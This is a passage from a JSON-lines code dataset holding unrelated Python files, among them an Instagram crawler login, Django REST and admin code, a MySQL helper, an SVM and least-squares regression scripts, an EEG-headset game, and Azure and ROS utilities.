Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36\"})\n csrf = re.findall(r\"csrf_token\\\":\\\"(.*?)\\\"\", x.text)[0]\n payload = {\n \"username\": username,\n \"enc_password\": f\"#PWD_INSTAGRAM_BROWSER:0:{time}:\"+password,\n \"queryParams\": {},\n \"optIntoOneTap\": \"false\"\n }\n login_header = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"Referer\": \"https://www.instagram.com/accounts/login/\",\n \"x-csrftoken\": csrf\n }\n def Login(self):\n req = requests.Session()\n s = req.post(url=self.login_url, data=self.payload, headers=self.login_header)\n response = json.loads(s.text)\n if \"authenticated\" in response:\n if response[\"authenticated\"]:\n print(\"\\n\"+\"-\"*25+\"\\n|| Login Successful!\"+\"\\n\"+\"-\"*25+\"\\n\")\n return req\n else:\n print(\"\\n\"+response+\"\\n\")\n sys.exit()\n else:\n print(\"\\n\"+response+\"\\n\")\n sys.exit()","sub_path":"InstagramAccountCrawl/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"381344565","text":"from blogs.models import Category, Blog, Tag\nfrom blogs.serializers import CategorySerializer, BlogSerializer, TagSerializer\n\nfrom rest_framework import viewsets\nfrom rest_framework.routers import DefaultRouter\nfrom rest_framework.permissions import IsAuthenticatedOrReadOnly\n\nfrom rest_framework_jwt.authentication import JSONWebTokenAuthentication\n\nclass CategoryViewSet(viewsets.ModelViewSet):\n permission_classes = (IsAuthenticatedOrReadOnly, )\n authentication_classes = (JSONWebTokenAuthentication, )\n\n queryset = Category.objects.all()\n serializer_class = CategorySerializer\n\nclass BlogViewSet(viewsets.ModelViewSet):\n permission_classes = (IsAuthenticatedOrReadOnly, )\n authentication_classes =(JSONWebTokenAuthentication, )\n\n queryset = Blog.objects.all()\n serializer_class = BlogSerializer\n\nclass TagViewSet(viewsets.ModelViewSet):\n permission_classes = (IsAuthenticatedOrReadOnly, )\n authentication_classes = (JSONWebTokenAuthentication, )\n\t\n queryset = Tag.objects.all()\n serializer_class = TagSerializer\n\ndef get_router():\n router = DefaultRouter()\n router.register(r'api/categories', CategoryViewSet)\n router.register(r'api/blogs', BlogViewSet)\n router.register(r'api/tags', TagViewSet)\n return router","sub_path":"blogs/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"325927753","text":"try:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nconfig = {\n 'description': 'Tabl_homework',\n 'author': 'Issa Beekun',\n 'author_email': 'Issa.Beekun@gmail.com',\n 'version': '1.0',\n 'test_suite':'nose.collector',\n 'test_requires': ['nose'],\n 'install_requires': ['nose', 're'],\n 'packages': ['BinarySearch', 'WordReversal'],\n 'scripts': [],\n 'name': 'Tabl-homework'\n}\n\nsetup(**config)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"4811168","text":"#!/usr/bin/env python\nimport sys\nimport pymysql\n\n\nclass Contsql:\n @staticmethod\n def connect(_host, _port, _user, _pwd, _dbName):\n return pymysql.connect(host=_host, port=_port, user=_user, password=_pwd, db=_dbName)\n\n @staticmethod\n def sqldelete(connect, sql_dele):\n cursor = connect.cursor()\n try:\n # sql = \"DELETE FROM trade WHERE account = '%s' LIMIT %d\"\n # data = ('13512345678', 1)\n cursor.execute(sql_dele)\n connect.commit() # 事务提交\n except Exception as e:\n connect.rollback() # 事务回滚\n raise e\n\n @staticmethod\n def sqlupdate(connect, sql_update):\n cursor = connect.cursor()\n try:\n # sql = \"UPDATE trade SET saving = %.2f WHERE account = '%s' \"\n # data = (8888, '13512345678')\n cursor.execute(sql_update)\n connect.commit() # 事务提交\n except Exception as e:\n connect.rollback() # 事务回滚\n raise e\n\n @staticmethod\n def sqlinsert(connect, sql_insert):\n cursor = connect.cursor()\n try:\n # sql = \"INSERT INTO trade (name, account, saving) VALUES ( '%s', '%s', %.2f )\"\n # data = ('雷军', '13512345678', 10000)\n # cursor.execute(sql % data)\n cursor.execute(sql_insert)\n connect.commit() # 事务提交\n except Exception as e:\n connect.rollback() # 事务回滚\n raise e\n\n @staticmethod\n def sqlquery(connect, sqlstr):\n cursor = connect.cursor()\n sql = sqlstr\n results = ()\n try:\n cursor.execute(sql)\n results = cursor.fetchall()\n connect.commit() # 事务提交\n # print('result=',len(results),'\\n')\n # for row in results:\n # id = row[0]\n # uid = row[1]\n # mid = row[2]\n # game_id = row[3]\n # username = row[4]\n # order_no = row[5]\n # role = row[6]\n # pay_mode = row[7]\n # money = row[8]\n # currency = row[9]\n # zone_id = row[10]\n # channel_id = row[11]\n # bank_code = row[12]\n # card_type = row[13]\n # card_no = row[14]\n # card_pwd = row[15]\n # pay_product_id = row[16]\n # pay_merchant_id = row[17]\n # status = row[18]\n # remark = row[19]\n # pay_order_no = row[20]\n # third_trade_no = row[21]\n # coupon_order_no = row[22]\n # coupon_no = row[23]\n # ctime = row[24]\n # mtime = row[25]\n # print('id = %s,uid = %s mid = %s game_id = %s username = %s order_no = %s role = %s pay_mode = %s money = %s ctime = %s mtime = %s ' %(id,uid,mid,game_id,username,order_no,role,pay_mode,money,ctime,mtime))\n except Exception as e:\n connect.rollback() # 事务回滚\n raise e\n finally:\n return results\n\n @staticmethod\n def dbClose(cursor, connect):\n cursor.close()\n connect.close()\n","sub_path":"sqlt/Contsql.py","file_name":"Contsql.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"258915039","text":"from sklearn import svm\nimport matplotlib.pyplot as plt\nimport json\nimport numpy as np\n\ntraining_length = 0.60\n\nwith open(\"../Output-files/features.json\", \"r\") as features_file:\n data = json.load( features_file )\n\nX = []\nY = []\n\nindex_feat = data[\"Index Features\"]\n\nfeatures_key = [\n \"Moving Average\", \n \"Price Momentum Oscillator\", \n \"Relative Strength Index\", \n \"On Balance Volume\", \n \"Stochastic Oscillator\",\n \"Sentiment Strength\"\n ]\n\nfor i in range( 0, len( index_feat ) ):\n temp_arr = []\n \n for j in range( 0, len( features_key ) ):\n temp_arr.append( index_feat[i][ features_key[j] ] )\n \n X.append( temp_arr )\n Y.append( index_feat[i][\"Target\"] )\n \nX = np.array( X )\nY = np.array( Y ) \nX_train = X[ : int( training_length*len( X ) ) ]\nY_train = Y[ : int( training_length*len( Y ) ) ]\nX_test = X[ int( training_length*len( X ) ) : ]\nY_test = Y[ int( training_length*len( Y ) ) : ]\n\nclf = svm.SVC( kernel='rbf' )\nclf.fit( X_train, Y_train )\nY_pred = clf.predict( X_test ) \n\ncnt = 0\npred_file = open(\"../Output-files/Predictions.txt\", \"w\")\npred_file.write(\"Actual Predicted\\n\")\nfor i in range( 0, len( Y_pred ) ):\n pred_file.write( (' '+str(Y_test[i]))[-2:] + \" \" + (' '+str(Y_pred[i]))[-2:] + \"\\n\" )\n if( Y_pred[i] != Y_test[i] ):\n cnt+=1\nprint( \"Prediction done with accuracy : \" + str( ( len( Y_pred ) - cnt )/( len( Y_pred ) ) ) + \" and predictions saved to Output-files/Predictions.txt\")\n","sub_path":"Python-PHP-Codes/svm_classifier.py","file_name":"svm_classifier.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"239165580","text":"#!/usr/bin/env python\n\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport signal\nimport sys, time\nfrom mindwave import Headset, get_headset_dongles\n\ngamefig = plt.figure()\ngameplot = gamefig.add_subplot(1, 1, 1)\nANI = None\nheadsets = []\nball_location = [330, 190]\nBACKGROUND = plt.imread(\"field.jpg\")\nINTERVAL = 30\nBALL_RADIUS = 10\npause = False\n\nGOALS = [\n [[25, 125], [110, 270]],\n [[530, 630], [110, 270]],\n]\n\n\ndef check_win():\n if (\n ball_location[0] > GOALS[0][0][0]\n and ball_location[0] < GOALS[0][0][1]\n and ball_location[1] > GOALS[0][1][0]\n and ball_location[1] < GOALS[0][1][1]\n ):\n return 2\n if (\n ball_location[0] > GOALS[1][0][0]\n and ball_location[0] < GOALS[1][0][1]\n and ball_location[1] > GOALS[1][1][0]\n and ball_location[1] < GOALS[1][1][1]\n ):\n return 1\n return 0\n\n\ndef show_state(i):\n global pause\n global ball_location\n if not pause:\n winner = check_win()\n if winner:\n pause = True\n print(f\"Player {winner} wins!\")\n\n p1 = headsets[0].attention + headsets[0].meditation\n p2 = headsets[1].attention + headsets[1].meditation\n gameplot.clear()\n\n plt.xticks(rotation=45, ha=\"right\")\n plt.subplots_adjust(bottom=0.30)\n plt.title(\"MINDBALL\")\n\n ball_location[0] += int((p1 - p2) / 100 * INTERVAL)\n\n ball_location = [\n min(max(ball_location[0], 10), 650),\n min(max(ball_location[1], 10), 390),\n ]\n\n gameplot.add_patch(plt.Circle(ball_location, BALL_RADIUS, color=\"blue\"))\n gameplot.imshow(BACKGROUND)\n\n\ndef onClick(event):\n global ball_location\n global pause\n ball_location = [330, 190]\n pause = False\n pass\n\n\nif __name__ == \"__main__\":\n # connect headsets\n ports = get_headset_dongles()\n if not ports:\n print(\n \"ERROR: Could not find MindWave RF adapter. Please make sure your adapter is plugged in and a red or blue light is on.\"\n )\n headsets.append(Headset(ports[0]))\n headsets.append(Headset(ports[1]))\n\n time.sleep(1)\n if headsets[0].status == \"connected\":\n headsets[0].disconnect()\n time.sleep(1)\n if headsets[1].status == \"connected\":\n headsets[1].disconnect()\n time.sleep(1)\n\n print(\"Player 1, connect your headset.\")\n headsets[0].connect()\n state = \"x\"\n while headsets[0].status != \"connected\":\n time.sleep(5)\n curr_state = headsets[0].status\n if not curr_state == state:\n state = curr_state\n if state == \"standby\" or state is None:\n headsets[0].connect()\n print(\"Player 1 connected! Player 2, connect your headset.\")\n headsets[1].connect()\n state = \"x\"\n while headsets[1].status != \"connected\":\n time.sleep(5)\n curr_state = headsets[1].status\n if not curr_state == state:\n state = curr_state\n if state == \"standby\" or state is None:\n headsets[1].connect()\n\n print(\"Player 2 connected!\")\n gamefig.canvas.mpl_connect(\"button_press_event\", onClick)\n signal.signal(signal.SIGINT, signal.default_int_handler)\n try:\n ANI = animation.FuncAnimation(\n gamefig,\n show_state,\n interval=500,\n )\n plt.show()\n except KeyboardInterrupt:\n pass\n\n print(\"\\ndisconnecting...\")\n headsets[0].disconnect()\n headsets[1].disconnect()\n print(\"done\")\n sys.exit(0)\n","sub_path":"source/mindball_2d2p_easy.py","file_name":"mindball_2d2p_easy.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"485345313","text":"# Copyright (C) 2018 HE Yaowen \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nfrom . import get_default_client\nfrom . import DNSPodObject\nfrom .record import Record\n\n\nclass Domain(DNSPodObject):\n\n def get_records(self, params={}):\n records = []\n params['domain_id'] = self.id\n rds = self.dnspod_client.api_request('/Record.List', params)['records']\n\n for rd in rds:\n record = Record(rd)\n record.domain = self\n records.append(record)\n\n self.records = records\n\n return records\n\n def add_record(self, sub_domain, record_type, value, record_line_id=0, mx=5, ttl=600, status='enable'):\n params = {}\n\n params['domain_id'] = self.id\n params['sub_domain'] = sub_domain\n params['record_type'] = record_type\n params['value'] = value\n params['record_line_id'] = record_line_id\n params['mx'] = mx\n params['ttl'] = ttl\n params['status'] = status\n\n self.dnspod_client.api_request('/Record.Create', params)\n\n\ndef get_domains(**kwargs):\n domains = []\n client = get_default_client()\n\n rds = client.api_request('/Domain.List', kwargs)['domains']\n for rd in rds:\n domain = Domain(rd)\n domain.records = None\n domains.append(domain)\n\n\n return domains\n","sub_path":"dnspod/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"27693319","text":"#\n# Copyright (c) 2020-2021 Arm Limited and Contributors. All rights reserved.\n# SPDX-License-Identifier: Apache-2.0\n#\n\"\"\"Defines a device detector for Windows.\"\"\"\nfrom pathlib import Path\nfrom typing import List\n\nfrom mbed_tools.devices._internal.base_detector import DeviceDetector\nfrom mbed_tools.devices._internal.candidate_device import CandidateDevice\nfrom mbed_tools.devices._internal.windows.system_data_loader import SystemDataLoader\nfrom mbed_tools.devices._internal.windows.usb_data_aggregation import SystemUsbData, AggregatedUsbData\n\n\nclass WindowsDeviceDetector(DeviceDetector):\n \"\"\"Windows specific implementation of device detection.\"\"\"\n\n def __init__(self) -> None:\n \"\"\"Initialiser.\"\"\"\n self._data_loader = SystemDataLoader()\n\n def find_candidates(self) -> List[CandidateDevice]:\n \"\"\"Return a generator of Candidates.\"\"\"\n return [\n WindowsDeviceDetector.map_to_candidate(usb)\n for usb in SystemUsbData(data_loader=self._data_loader).all()\n if WindowsDeviceDetector.is_valid_candidate(usb)\n ]\n\n @staticmethod\n def map_to_candidate(usb_data: AggregatedUsbData) -> CandidateDevice:\n \"\"\"Maps a USB device to a candidate.\"\"\"\n serial_port = next(iter(usb_data.get(\"serial_port\")), None)\n uid = usb_data.uid\n return CandidateDevice(\n product_id=uid.product_id,\n vendor_id=uid.vendor_id,\n mount_points=tuple(Path(disk.component_id) for disk in usb_data.get(\"disks\")),\n serial_number=uid.uid.presumed_serial_number,\n serial_port=serial_port.port_name if serial_port else None,\n )\n\n @staticmethod\n def is_valid_candidate(usb_data: AggregatedUsbData) -> bool:\n \"\"\"States whether the usb device is a valid candidate or not.\"\"\"\n return usb_data.is_composite and usb_data.is_associated_with_disk\n","sub_path":"src/mbed_tools/devices/_internal/windows/device_detector.py","file_name":"device_detector.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"249958880","text":"import os\nimport sys\n\nfrom pathlib import Path\n\n# User packages\nPKGS_PATH = \"site/wwwroot/.python_packages\"\nVENV_PKGS_PATH = \"site/wwwroot/worker_venv\"\n\nPKGS_36 = \"lib/python3.6/site-packages\"\nPKGS = \"lib/site-packages\"\n\n# Azure environment variables\nAZURE_WEBSITE_INSTANCE_ID = \"WEBSITE_INSTANCE_ID\"\nAZURE_CONTAINER_NAME = \"CONTAINER_NAME\"\n\n\ndef is_azure_environment():\n return (AZURE_CONTAINER_NAME in os.environ\n or AZURE_WEBSITE_INSTANCE_ID in os.environ)\n\n\ndef determine_user_pkg_paths():\n minor_version = sys.version_info[1]\n\n home = Path.home()\n pkgs_path = os.path.join(home, PKGS_PATH)\n venv_pkgs_path = os.path.join(home, VENV_PKGS_PATH)\n\n user_pkg_paths = []\n if minor_version == 6:\n user_pkg_paths.append(os.path.join(venv_pkgs_path, PKGS_36))\n user_pkg_paths.append(os.path.join(pkgs_path, PKGS_36))\n user_pkg_paths.append(os.path.join(pkgs_path, PKGS))\n elif minor_version in (7, 8):\n user_pkg_paths.append(os.path.join(pkgs_path, PKGS))\n else:\n raise RuntimeError(f'Unsupported Python version: 3.{minor_version}')\n\n return user_pkg_paths\n\n\nif __name__ == '__main__':\n # worker.py lives in the same directory as azure_functions_worker\n func_worker_dir = str(Path(__file__).absolute().parent)\n env = os.environ\n\n if is_azure_environment():\n user_pkg_paths = determine_user_pkg_paths()\n\n joined_pkg_paths = os.pathsep.join(user_pkg_paths)\n env['PYTHONPATH'] = f'{joined_pkg_paths}:{func_worker_dir}'\n os.execve(sys.executable,\n [sys.executable, '-m', 'azure_functions_worker']\n + sys.argv[1:],\n env)\n else:\n sys.path.insert(1, func_worker_dir)\n from azure_functions_worker import main\n\n main.main()\n","sub_path":"python/prodV3/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"445477469","text":"#!/usr/bin/env python\nfrom init import Initializer\nfrom lib.general import General \nfrom lib.regr.regression import Regression\nfrom lib.ml.machine_learning import MachineLearning \n\n\nclass Miner:\n \"\"\"Miner is essentially a class to start the analysis process\"\"\"\n\n def __init__(self, conf, db_type = \"mysql\"):\n \"\"\"\n Args:\n conf (str): path to custom configuration file\n db_type (str): database type\n \"\"\"\n # fields\n self.conf = conf\n self.db_type = db_type\n self.table = \"\"\n\n def prep(self, table_name):\n \"\"\"Prepares everything for execution\"\"\"\n self.init = Initializer(self.conf, table_name, self.db_type)\n self.init.init_external_frameworks() \n self.table = self.init.table\n\n self.general = General(self.init)\n\n self.regression = Regression(self.init)\n self.ml = MachineLearning(self.init)\n","sub_path":"miner.py","file_name":"miner.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"207425101","text":"\"\"\"ilab_molecular URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, re_path, include\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nimport result.views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n re_path(r'^$', result.views.index, name = 'index'),\n re_path(r'logout', result.views.logout, name = 'logout'), \n path('login', result.views.user_login, name = 'login'),\n #B URLS\n re_path(r'^b_new', result.views.hbv_sample_input, name = 'b_new'),\n re_path(r'^b_sample_list', result.views.hbv_sample_list, name = 'b_sample_list'),\n re_path(r'^b_run_file', result.views.hbv_take_info_from_run, name = 'b_run_file'), \n re_path(r'b_detail/(\\d+)', result.views.hbv_sample_detail, name = 'b_detail'),\n re_path(r'b_image/(\\d+)', result.views.hbv_create_img, name = 'b_image'),\n #C URL\n re_path(r'^c_new', result.views.hcv_sample_input, name = 'c_new'),\n re_path(r'^c_sample_list', result.views.hcv_sample_list, name = 'c_sample_list'),\n re_path(r'^c_run_file', result.views.hcv_take_info_from_run, name = 'c_run_file'), \n re_path(r'c_detail/(\\d+)', result.views.hcv_sample_detail, name = 'c_detail'),\n re_path(r'c_image/(\\d+)', result.views.hcv_create_img, name = 'c_image'),\n #Cgeno URL\n re_path(r'^cg_new', result.views.hcvg_sample_input, name = 'cg_new'),\n re_path(r'^cg_sample_list', result.views.hcvg_sample_list, name = 'cg_sample_list'),\n re_path(r'^cg_run_file/(\\d+)', result.views.hcvg_take_info_from_run, name = 'cg_run_file'), \n re_path(r'cg_detail/(\\d+)', result.views.hcvg_sample_detail, name = 'cg_detail'),\n re_path(r'cg_image/(\\d+)', result.views.hcvg_create_img, name = 'cg_image'),\n \n #CTNG_URL\n re_path(r'^ctng_new', result.views.ctng_sample_input, name = 'ctng_new'),\n re_path(r'^ctng_sample_list', result.views.ctng_sample_list, name = 'ctng_sample_list'),\n re_path(r'^ctng_run_file', result.views.ctng_take_info_from_run, name = 'ctng_run_file'), \n re_path(r'ctng_detail/(\\d+)', result.views.ctng_sample_detail, name = 'ctng_detail'),\n re_path(r'ctng_image/(\\d+)', result.views.ctng_create_img, name = 'ctng_image'),\n #HPV_URL\n re_path(r'^hpv_new', result.views.hpv_sample_input, name = 'hpv_new'),\n re_path(r'^hpv_sample_list', result.views.hpv_sample_list, name = 'hpv_sample_list'),\n re_path(r'^hpv_run_file', result.views.hpv_take_info_from_run, name = 'hpv_run_file'), \n re_path(r'hpv_detail/(\\d+)', result.views.hpv_sample_detail, name = 'hpv_detail'),\n re_path(r'hpv_image/(\\d+)', result.views.hpv_create_img, name = 'hpv_image'),\n re_path(r'hpv_populate/(\\d+)', result.views.hpv_populate, name= 'hpv_populate')\n\n\n] + static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)\n","sub_path":"ilab_molecular/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"495991243","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom django.forms.forms import BoundField\nfrom django.utils.encoding import force_unicode\nfrom django.utils.html import conditional_escape\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import ugettext as _\n\nfrom xendor.structure import Structure\nfrom xendor.models import Page\nfrom xendor.utils import cyr2lat\n\n\n# ##===Страницы(Page)===###\napp_choises = Structure().apps\nchoice_list = [['', ' - Модули не ассоциированы - ']]\n\nfor item in app_choises:\n choice_list.append([item, app_choises[item]['app_name']])\n\n\ndef get_children(node):\n list = []\n for item in node.get_children():\n list.append([item.id, (item.level + 1) * '--' + ' ' + item.title])\n list += get_children(item)\n\n return list\n\n\ndef get_pages():\n list = [[None, ' - Корень - '], ]\n for item in Page.objects.filter(level=0):\n list.append([item.id, (item.level + 1) * '--' + ' ' + item.title])\n list += get_children(item)\n\n return list\n\n\nclass PageAdminForm(forms.ModelForm):\n app_extension = forms.CharField(\n label='Ассоциированый модуль',\n required=False,\n widget=forms.Select(choices=choice_list),\n )\n\n parent = forms.ChoiceField(label=u'Родительский элемент', required=False)\n\n def __init__(self, *args, **kwargs):\n self.declared_fields['parent'].choices = get_pages()\n\n super(PageAdminForm, self).__init__(*args, **kwargs)\n\n\n # def clean_slug(self):\n # slug = self.cleaned_data.get('slug', None)\n #\n # if slug.lower() != cyr2lat(slug).lower().replace(' ', '_'):\n # raise forms.ValidationError(u'Неправильный формат синонима страницы (нельзя использовать дефис)')\n #\n # return slug\n\n def clean_parent(self):\n parent = self.cleaned_data.get('parent', None)\n\n try:\n parent = Page.objects.get(pk=parent)\n except:\n parent = None\n\n if parent and self.instance.id:\n children = [[self.instance.id,\n (self.instance.level + 1) * '—' + ' ' + self.instance.title], ] + get_children(self.instance)\n\n if [parent.id, (parent.level + 1) * '——' + ' ' + parent.title] in children:\n raise forms.ValidationError(u'Страница не может быть дочерней к себе или своим потомкам')\n\n return parent\n\n class Meta:\n model = Page\n\n exclude = (\n )\n","sub_path":"xendor/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"510191527","text":"\n# coding: utf-8\n\n# In[3]:\n\nimport numpy as np\n\n# >Реализуйте алгоритм аппроксимации одномерной последовательности\n# >полиномом N степени через метод наименьших квадратов.\n\n# >Рекомендуется ограничиться: matplotlib, numpy\n# >Примечание 1: Не используйте возможности scipy по построению регрессий\n\n# Буду писать в предположении, что np.linalg.solve нельзя.\n# под Питон3\n\n# разложение матрицы в произведение\n# нижнетреугольной с 1 на главной диагонали и верхнетреугольной\ndef LUdecomp(A):\n n = A.shape[0]\n LU = np.empty_like(A)\n for i in range(n):\n LU[i, i] = A[i, i]-(LU[i, :i] * LU[:i, i]).sum()\n for j in range(i + 1, n):\n LU[i, j] = A[i, j]-(LU[i, :i] * LU[:i, j]).sum()\n LU[j, i] = (A[j, i]-(LU[j, :i] * LU[:i, i]).sum()) / LU[i,i]\n return LU\n\na = np.random.random((3,3))+2\nprint (a)\nb=LUdecomp(a)\nprint (b)\n\n\n# In[4]:\n\n# решение СЛАУ этим разложением(компактная схема Гаусса)\ndef Lsolve(L, b):\n y = np.empty_like(b)\n n = b.size\n for i in range(n):\n y[i] = b[i] - (L[i, :i] * y[:i]).sum()\n return y\n\ndef Usolve(U, b):\n y = np.empty_like(b)\n n = b.size\n for i in range(n):\n j = n-i-1\n y[j] = (b[j] - (U[j, j+1:n] * y[j+1:n]).sum())/U[j, j]\n return y\n\ndef SLEsolve(A, b):\n LU = LUdecomp(A)\n y = Lsolve(LU, b)\n x = Usolve(LU, y)\n return x\n\na = np.random.random((3,3))+2\nprint (a)\nx0 = np.random.random(3)+2\nprint (x0)\nb = a.dot(x0)\nprint (b)\nx = SLEsolve(a,b)\nprint(x)\n\n\n# In[5]:\n\n# решение МНК\ndef regrkoef(x, y, m):\n A = np.fromfunction(lambda i, j: x[i]**j,(x.size, m), dtype=int )\n #print (A)\n #print (A.T)\n #print (np.dot(A.T, A))\n #print (np.dot(A.T, y))\n return SLEsolve(np.dot(A.T, A), np.dot(A.T, y))\n\n# потом доделать для нормального принятия массива на входе\ndef regrpol(x, y, m):\n k = regrkoef(x, y, m)\n def pol(u):\n return np.fromiter((k[i]*(u**i) for i in range(m)), dtype=int).sum()\n return pol\n\ndef regrpol1(x, y, m):\n k = regrkoef(x, y, m)\n def pol(u):\n return np.fromfunction(lambda i, j: k[j]*(u[i]**j), (u.size, m), dtype=int).sum(axis=1)\n return k, pol\n\n\na=np.arange(5)+2\nprint(a)\nb=np.fromfunction(lambda i, j: a[i]**j, (5,3), dtype=int )\nprint (b)\nx=1\nc=np.fromiter((a[i]*(x**i) for i in range(5)), dtype=int).sum()\nprint (c)\n\n\n# In[6]:\n\n# для сравнения скопирую пример с пар\n# красные графики - пара, синие - этот метод\nget_ipython().magic('matplotlib inline')\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\n\ndef func(x, a, b, c):\n return a * x**2 + b * x + c\n\nxdata = np.linspace(0, 4, 50)\ny = func(xdata, 2.5, 1.3, 0.5)\nydata = y + 0.5 * np.random.normal(size=len(xdata))\n\npopt, pcov = curve_fit(func, xdata, ydata)\n\nprint (popt)\n\nfunc(xdata, *popt)\n\nplt.scatter(xdata, ydata)\nplt.plot(xdata, func(xdata, *popt), color='red')\nplt.show()\n\n\nprint (\"--------------------------------------------------\")\n\nk, p=regrpol1(xdata, ydata, 3)\n\nprint (k)\n\nplt.scatter(xdata, ydata)\nplt.plot(xdata, p(xdata), color='blue')\nplt.show()\n\n\nprint (\"--------------------------------------------------\")\n\n\ndef func(x, a, b, c):\n return a * np.exp(-b * x) + c\n\nxdata = np.linspace(0, 4, 50)\ny = func(xdata, 2.5, 1.3, 0.5)\nydata = y + 0.5 * np.random.normal(size=len(xdata))\n\npopt, pcov = curve_fit(func, xdata, ydata)\n\nprint (popt)\n\nfunc(xdata, *popt)\n\nplt.scatter(xdata, ydata)\nplt.plot(xdata, func(xdata, *popt), color='red')\nplt.show()\n\n\nprint (\"--------------------------------------------------\")\n\nk, p=regrpol1(xdata, ydata, 3)\n\nprint (k)\n\nplt.scatter(xdata, ydata)\nplt.plot(xdata, p(xdata), color='blue')\nplt.show()\n\n\nprint (\"--------------------------------------------------\")\n\n\ndef func(x, a, b, c):\n return a * np.sin(-b * x) + c\n\nxdata = np.linspace(0, 4, 50)\ny = func(xdata, 2.5, 1.3, 0.5)\nydata = y + 0.5 * np.random.normal(size=len(xdata))\n\npopt, pcov = curve_fit(func, xdata, ydata)\n\nprint (popt)\n\nfunc(xdata, *popt)\n\nplt.scatter(xdata, ydata)\nplt.plot(xdata, func(xdata, *popt), color='red')\nplt.show()\n\nprint (\"--------------------------------------------------\")\n\nk, p=regrpol1(xdata, ydata, 4)\n\nprint (k)\n\nplt.scatter(xdata, ydata)\nplt.plot(xdata, p(xdata), color='blue')\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","sub_path":"Regr.py","file_name":"Regr.py","file_ext":"py","file_size_in_byte":4698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"505788749","text":"#!/usr/bin/env python\nimport sys\nimport os\nimport rospy\nimport time\nimport rospkg\nimport unittest\n\nrospack = rospkg.RosPack()\nmission_control_path = rospack.get_path('mission_control')\n\nsys.path.append(\"%s/src\" % mission_control_path)\n\nfrom mission_control_utils_constants import Constants\nimport mission_control_utils\nfrom std_msgs.msg import Bool\nfrom std_msgs.msg import Int32\n\nrospy.init_node('test_watchdog_fail_safe', anonymous=True)\n\nclass TestWatchdogFailSafe(unittest.TestCase):\n\n fail_safe_started = False\n fail_safe_finished = False\n test_counter6_foo = None\n test_counter6_bar = None\n\n def fail_safe_started_callback(self, data):\n self.fail_safe_started = data.data\n\n def fail_safe_finished_callback(self, data):\n self.fail_safe_finished = data.data\n\n def fail_safe_foo_callback(self, data):\n self.test_counter6_foo = data.data\n\n def fail_safe_bar_callback(self, data):\n self.test_counter6_bar = data.data\n\n def test_fail_safe_run_and_variables(self):\n rospy.Subscriber(\"/mission_control/test/fail_safe/started\", Bool, self.fail_safe_started_callback)\n rospy.Subscriber(\"/mission_control/test/fail_safe/finished\", Bool, self.fail_safe_finished_callback)\n rospy.Subscriber(\"/mission_control/test/fail_safe/test_counter6_foo\", Int32, self.fail_safe_foo_callback)\n rospy.Subscriber(\"/mission_control/test/fail_safe/test_counter6_bar\", Int32, self.fail_safe_bar_callback)\n\n mission_control_utils.subscribe_to_topics()\n\n bar = None\n foo = 